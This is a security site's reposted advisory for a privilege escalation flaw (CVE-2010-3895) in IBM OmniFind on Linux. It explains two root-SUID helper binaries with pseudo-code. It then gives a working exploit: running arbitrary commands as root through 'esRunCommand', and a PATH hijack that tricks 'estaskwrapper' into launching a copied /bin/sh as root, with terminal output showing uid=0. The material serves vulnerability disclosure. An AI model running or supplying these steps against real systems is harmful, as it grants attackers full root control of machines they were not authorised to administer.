首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
IBM OmniFind Privilege Escalation Vulnerability
来源:vfocus.net 作者:Kilic 发布时间:2010-11-10  

* Privilege escalation in two applications (CVE-2010-3895)

Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.

-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
-------------------------------------------------------------------------


»esRunCommand« takes one argument and runs it as root. See example below.
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
 
  joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------

 

The application »estaskwrapper« is meant to start the application »estasklight«.
The pseudo c code looks like this:
-------------------------------------------------------------------------
 main() {
   int auth = 0;
   ...
   if (argv[1] == "estasklight") {
     auth = 1;
    ...
    path = getenv("ES_LIBRARY_PATH");
    if (path) {
      setenv("LD_LIBRARY_PATH", path);
      setenv("LIBPATH", path);
      ...
      if (auth) {
       execvp ("estasklight", args);
      }
      ...
    }
     ...
   }
 ...
 }
-------------------------------------------------------------------------


Explanation of the code:

»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set.
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.

 

Exploit for running /bin/sh
-------------------------------------------------------------------------
joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IBM OmniFind Buffer Overflow V
·IBM OmniFind Crawler Denial of
·IBM OmniFind CSRF Vulnerabilit
·FileCOPA FTP Server 6.01 direc
·Oracle MySQL < 5.1.49 'WITH RO
·Woltlab Burning Board Userloca
·Free CD to MP3 Converter 3.1 B
·Novell Groupwise Internet Agen
·Linux Kernel Stack Infoleaks V
·Novell Groupwise Internet Agen
·Qtweb Browser v3.5 Buffer Over
·G Data TotalCare 2011 0day Loc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved